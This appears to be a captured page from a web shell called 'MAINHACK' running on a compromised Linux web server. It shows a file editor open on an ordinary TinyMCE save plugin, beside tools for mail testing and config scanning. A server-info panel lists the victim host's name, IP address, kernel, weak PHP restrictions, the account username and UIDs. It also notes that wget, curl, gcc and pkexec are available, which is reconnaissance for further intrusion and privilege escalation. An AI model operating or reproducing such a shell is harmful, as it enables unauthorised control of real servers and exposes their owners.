[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: plugin.js
(function () { var save = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var enableWhenDirty = function (editor) { return editor.getParam('save_enablewhendirty', true); }; var hasOnSaveCallback = function (editor) { return !!editor.getParam('save_onsavecallback'); }; var hasOnCancelCallback = function (editor) { return !!editor.getParam('save_oncancelcallback'); }; var $_e9k1wwjtjkmcdvt1 = { enableWhenDirty: enableWhenDirty, hasOnSaveCallback: hasOnSaveCallback, hasOnCancelCallback: hasOnCancelCallback }; var displayErrorMessage = function (editor, message) { editor.notificationManager.open({ text: editor.translate(message), type: 'error' }); }; var save = function (editor) { var formObj; formObj = global$1.DOM.getParent(editor.id, 'form'); if ($_e9k1wwjtjkmcdvt1.enableWhenDirty(editor) && !editor.isDirty()) { return; } editor.save(); if ($_e9k1wwjtjkmcdvt1.hasOnSaveCallback(editor)) { editor.execCallback('save_onsavecallback', editor); editor.nodeChanged(); return; } if (formObj) { editor.setDirty(false); if (!formObj.onsubmit || formObj.onsubmit()) { if (typeof formObj.submit === 'function') { formObj.submit(); } else { displayErrorMessage(editor, 'Error: Form submit field collision.'); } } editor.nodeChanged(); } else { displayErrorMessage(editor, 'Error: No form element found.'); } }; var cancel = function (editor) { var h = global$2.trim(editor.startContent); if ($_e9k1wwjtjkmcdvt1.hasOnCancelCallback(editor)) { editor.execCallback('save_oncancelcallback', editor); return; } editor.setContent(h); editor.undoManager.clear(); editor.nodeChanged(); }; var $_7uv4jvjqjkmcdvsy = { save: save, cancel: cancel }; var register = function (editor) { editor.addCommand('mceSave', function () { $_7uv4jvjqjkmcdvsy.save(editor); }); editor.addCommand('mceCancel', function () { $_7uv4jvjqjkmcdvsy.cancel(editor); }); }; var $_9gvjujpjkmcdvsx = { register: register }; var stateToggle = function (editor) { return function (e) { var ctrl = e.control; editor.on('nodeChange dirty', function () { ctrl.disabled($_e9k1wwjtjkmcdvt1.enableWhenDirty(editor) && !editor.isDirty()); }); }; }; var register$1 = function (editor) { editor.addButton('save', { icon: 'save', text: 'Save', cmd: 'mceSave', disabled: true, onPostRender: stateToggle(editor) }); editor.addButton('cancel', { text: 'Cancel', icon: false, cmd: 'mceCancel', disabled: true, onPostRender: stateToggle(editor) }); editor.addShortcut('Meta+S', '', 'mceSave'); }; var $_6vccvkjujkmcdvt2 = { register: register$1 }; global.add('save', function (editor) { $_6vccvkjujkmcdvt2.register(editor); $_9gvjujpjkmcdvsx.register(editor); }); function Plugin () { } return Plugin; }()); })();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002